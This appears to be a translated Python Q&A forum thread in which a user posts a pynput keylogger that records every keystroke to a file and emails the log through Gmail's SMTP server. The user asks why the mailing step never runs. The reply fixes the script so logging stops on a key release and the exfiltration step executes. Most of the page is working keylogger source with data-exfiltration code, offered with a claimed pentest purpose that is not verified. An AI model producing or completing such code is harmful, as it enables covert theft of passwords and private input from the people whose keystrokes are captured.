Py学习  »  Python

如何使python自动发送电子邮件

Alexander Drossos • 4 年前 • 328 次点击  

我正在尝试用python制作一个简单的键盘记录器(用于法律渗透测试目的),但我在让脚本自动向我发送电子邮件时遇到了问题。

如果我把电子邮件代码放在我的键盘记录程序之后,它不会给我发送TXT文件,我想这是因为键盘记录程序脚本不断重复自己,不承认我的电子邮件脚本,我如何才能解决这个问题?

这是剧本:

    from pynput.keyboard import Key, Listener
import smtplib
import logging
import smtplib

log_dir = ""

logging.basicConfig(filename=(log_dir + "yourtext.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = 'EMAIL'
email_password = 'PASSWORD'
email_send = 'EMAIL'

subject = 'logger'

msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'your text'
msg.attach(MIMEText(body,'plain'))

filename='yourtext.txt'
attachment  =open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login('EMAIL','PASSWORD')


server.sendmail(email_user,email_send,text)
server.quit() 
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/40793
 
328 次点击  
文章 [ 1 ]  |  最新文章 4 年前
skaul05
Reply   •   1 楼
skaul05    5 年前

因此,首先,当侦听器调用开始时,您没有添加任何中断,这样您的程序就会陷入那个循环中,并且没有任何条件可以出来。

尝试在下面的代码中添加断点

with Listener(on_press=on_press) as listener:
listener.join()

可以将特定字符添加为断点,或将某些行添加为断点。

如果您的邮件发送代码不起作用,请尝试使用gmail api。 Gmail API Docs

根据以下代码修改文件:

def on_press(key):
    logging.info(str(key))

def on_release(key):
    logging.info('{0} release'.format(key))
    if key == Key.caps_lock:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

您可以找到与上述代码相关的更多信息 here

如果无法接收邮件,可能是因为未启用POP/IMAP。遵循以下步骤:

  1. 登录你的Gmail帐户
  2. 转到“设置”,然后单击“转发”并弹出/imap部分。
  3. 在IMAP访问部分启用IMAP。